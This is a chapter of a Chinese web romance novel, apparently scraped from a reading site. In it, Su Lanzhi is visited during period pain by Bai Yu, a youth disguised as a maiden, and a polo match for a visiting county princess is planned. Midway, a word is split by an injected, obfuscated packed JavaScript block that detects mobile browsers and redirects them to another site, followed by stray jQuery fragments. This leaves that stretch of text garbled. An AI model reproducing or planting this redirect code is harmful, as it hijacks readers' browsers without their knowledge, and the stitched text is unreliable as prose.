发电姬 作品

10.第十章 姊妹情




把丰儿一家被打发出苏府后,姚夫人也没能喘口气,因为苏敬东还是没着落。


再如何问苏敬东的小厮,他也只说苏敬东失踪当晚,他神神秘秘的,问去哪也不说,还只肯孤身一人出门。


有人说,当晚苏敬东去找过苏兰芷。


落雪道:“当天刚好姑娘出门买书了,大公子知道后,就走了。”


怎么找都没影,急得姚夫人嘴里生了泡,就怕哪日在护城河捞出苏敬东,那她苦心经营的名声,怕是要毁了。


无法,姚夫人差人送信去遭灾的曲山县,告知苏崭此事,诉诉最近儿女债。


这几日苏大人的信回到苏府,他倒是十分豁达:儿孙自有儿孙福,苏敬东要奔着他的福气去,就随他去。


姚夫人有这封信在,就不怕了,生父都不管,假如苏敬东不幸变成碎片,世人只会感慨继母难做。


不过,让姚夫人在意的是,她明里暗里,说了苏兰芷的顽劣不堪,那不算捏造的坏话,换哪家父母,能容忍女儿拿钱压长辈,擅自添人,还这么对母亲的心腹妈妈?


可是,苏大人没有针对这些,回上一句,只是夸了姚夫人一句。


姚夫人收起信,揉揉额头,跑腿的丫鬟进了屋,道:“夫人,白家姑娘来访,要见大姑娘。”


姚夫人一愣:“白家哪个姑娘?”


她不记得白家哪个姑娘和苏兰芷交好,不说白家姑娘一个个眼高于顶的,苏兰芷也没看得上她们。


丫鬟补充:“白家大姑娘。”


姚夫人有些惊讶,苏兰芷不是最讨厌白毓么?


她心内古怪,这段时间,苏兰芷变化得有点厉害,都能和白毓心平气和地说话了?


她立刻吩咐丫鬟:“让小雨盯着玉秀院,等晚上,如实与我说。”


……


玉秀院堪比一个小苏府,花园楼阁,应有尽有,苏兰芷的闺房坐北朝南,明亮又干净,房中萦绕着一股女儿香味。


乌云侧过身:“姑娘请。”


窗台旁边悬着一个鸟笼,一只黑色八哥在吃东西,听到脚步声,它双眼一瞬不瞬地盯着来人。


同样盯着白毓的,还有苏兰芷。


她惊讶得和看到八哥变人差不多,鹿眼透出一种琉璃质,懵懂又难以置信:“真是你?你怎么来了?”


早先听白毓来,她还没这么惊讶,直到亲眼所见。


白毓停下脚步。


她躺在床上,自腹部下盖着一顶牡丹花面的薄被,这么怕热的人儿竟一个冰盆不摆,浑身是热汗,一缕黑发贴在她脸颊,湿漉漉的。


因是在自家,她穿得极为随意,外罩衫薄如蝉翼,隐隐的,能瞧见她锁骨下,两条鲜艳的赤色带子,缠着她的雪肤,延到脖颈后。


白毓挪开目光,本来就在离她五步开外,还无声退了一步。


所幸苏兰芷没觉得不对。


白毓回她的话:“事关县主探亲,众人商议,要办马球赛。”


原来他是来通知自己的,这是一个宾主尽欢的提议,而苏兰芷文不算很好,马球却很拿手。


她一喜,起身:“扬州要办马球赛?”


这骤然移动,让苏兰芷肚子又传来绞痛,她皱眉:“嘶哎哎哎疼……”


白毓浅怔,他无意识地朝前跨出两步:“伤在腹部?”


苏兰芷没听清,只顾着缓过疼痛,落雪正好进屋,她手里端着一碗浓浓的姜汤:“来,姑娘把这喝了就好了。”


那姜味很呛,白毓皱眉,语气微沉:“吃这些能好?”


落雪:“白姑娘不知道么,来葵水若觉得疼,可以吃姜汤缓解疼痛啊。”


苏兰芷喝了一口,辣得受不了,摆摆手道:“别说了,白毓一定是那种来葵水半点不疼的人,啧。”


白毓:“……”


直到此刻他才明白些什么,他侧目,看像不远处窗台的八哥。


少年白皙的耳尖,浮上一层不明显的轻粉。


苏兰芷端着姜汤,对落雪说:“我自己喝,你先出去吧。”


房中又剩苏兰芷和白毓。


苏兰芷是不挑嘴,唯独不吃芫荽和葱姜蒜,她试着再喝一口,但下一刻,她有些反胃,眼尾都被逼出晶莹的泪花。


她探着身子,望向了床底,寻找合适的位置。


白毓声音幽幽:“你要把它倒那儿?”


苏兰芷狐疑地看着白毓,他该不会想让她喝进去吧,然后看她的丑态吧?


似乎明白她小脑瓜在想什么,白毓说:“倒那里,会有味道。”


苏兰芷想到落雪的念叨,正有些犹豫,就看白毓朝她伸出手,他目光清冷,微微敛息,道:“给我。”


在他的眼神下,苏兰芷心下没有多想,就把碗递给他,他端着姜汤,挽起滋滋,缓缓将汤汁倒进一盆盆栽里头。


动作十分顺滑熟练。


他搁下药碗,眉眼冷淡,道:“不喜欢喝,那就别喝。”


他语气那么硬,听得苏兰芷怔住,这人该不是来找骂的吧?


下一刻,白毓拿出一个小白瓷瓶,放在了桌上,说:“吃这个。”


……


苏兰芷不止是醉香楼、宝珍阁、旺生钱庄的东家之一,还是杏林堂的。


她让丫鬟去找大夫来,杏林堂的女大夫崔医师提着药箱,悄悄从角门进了玉秀院。


落雪以为苏兰芷是捱不住疼了,才让医师来的,有些焦急,苏兰芷却给了医师一瓶药,要查查它。


崔医师把药放在鼻端,嗅了嗅,又碾碎在指尖,尝了一口。


苏兰芷好奇:“怎么样啊?”


崔医师道:“这味药叫息痛丸,主要是延胡索、甘草、防风这几种,能解气滞血瘀,通畅气血,遏制疼痛,是好药。”


又道:“姑娘来月事,这味药无毒,它能缓解月事期间的疼痛,日后腹部再泛疼,吃它也无妨。”


苏兰芷微讶:“难怪我吃了就不疼了。”


崔医师好笑道:“姑娘不知道它是什么,就吃了吗?”


苏兰芷:“咳,也不是……”


崔医师又开了几味药,叮嘱落雪好好照顾苏兰芷,就走了。


落雪问苏兰芷:“姑娘,这药是谁给的?”


苏兰芷不作回答,落雪却猜出来了:“是白大姑娘吧?她对姑娘真好。”


苏兰芷把头蒙进被子里,她和白毓之间,一定有一个病了,不然这是在干什么,意绵绵姊妹情深?


啊,难受。


苏兰芷还在纠结时,忽的,乌云惊讶:“呀,咱屋子这盆君子兰,是不是生了个花骨


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981131|160849||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


朵?”


落雪:“真的啊!”


苏兰芷把脑袋探出被子,便看落雪和乌云说的那盆花,是白毓之前拿姜汤浇的。


……


傍晚,小雨如往常,去了姚夫人的院子。


姚夫人揉着额头,问:“白大姑娘过来,和芷姐儿说了些什么?”


小雨低着头,神色如常:“没有什么,白大姑娘是来看芷姐儿的笑话的,我还听见她们吵架了,闹得很不开心。”


姚夫人倒是松了口气,这继女若无端多了个好友,她还要头疼呢。





虽则昨日疼得要死不活的,今天,苏兰芷又活蹦乱跳的了。


天气热,她专门穿上骑装戴护腕,踩着一双鹿皮乌靴,一头乌黑如云的头发,梳成男子发髻,以绑带束住,倒成了俊俏后生。


时人女子做男子扮相,也是常有的。


换好装束,她叫上落雪乌云,道:“走吧。”


她们今日是要去敬天庄,那是白家的产业,打从以马球赛招待县主的提议一出,白家姑娘很快提出,她们家的马球场可以用。


马球场就在敬天庄。


苏兰芷不是来的最早的,也不是最晚的,已经不少人在敬天庄,各式服装都有。


招待她们的,是白毓和白四姑娘白月娥,白月娥眉清目秀,却和白毓生得不是很相似,光是身高,就差得有点多。


白毓没穿骑装,一身素白,冷冷淡淡的,其实,苏兰芷觉得白毓穿骑装,应该不难看。


姑娘们说话声叽喳:


“到时候得搭多几个台子,我爹说,不止扬州,隔壁江州府那边,也会有很多人过来呢。”


“那场面岂不是很大?”


“……”


一排排震动的脚步声让姑娘们愣住,原来是白家的护院进敬天庄了。


护院是一种大户人家才能养得起的“私兵”,白家就养了一支五十多人的护院队。


不需出动官兵,在县主来到前,他们会将敬天庄都好好排查一遍,以防万一。


大部分姑娘一次瞧见这么多男子,都不好意思地低下头,苏兰芷却望过去,打量起来——


这个不行,矮。


那个不行,满脸麻子。


那个也不行,衣服都遮不住肚腩。


……


越看,苏兰芷越嫌弃,白家的护院里,不少是白家旁支子弟,白毓长得那般好,怎么其他人都是歪瓜裂枣。


她才想完,护院的领头,最大的歪瓜裂枣白至孝过来了,他与白毓、白月娥抱拳,道:“大姑娘、四姑娘安。”


严格来算,白至孝是他们的堂舅。


白月娥说:“舅舅辛苦。”


白至孝:“我们该做的。”


两人寒暄,苏兰芷却愣了愣,缓缓将目光,定在白至孝旁边的纸上:


【对白毓恶意度:七百。】


苏兰芷:“……”


她深深看了白毓一眼,白毓察觉她的目光,侧目瞧了过去,便看她果真在看他。


苏兰芷也不和往常那样,收回目光,好像多嫌弃看到他。


这次,她只是很轻地弯了弯朱唇,朝他笑了一下,她眼神虽如星子闪亮,却也是从所未有的软柔,沁着温温的水意,几乎能将人溺毙。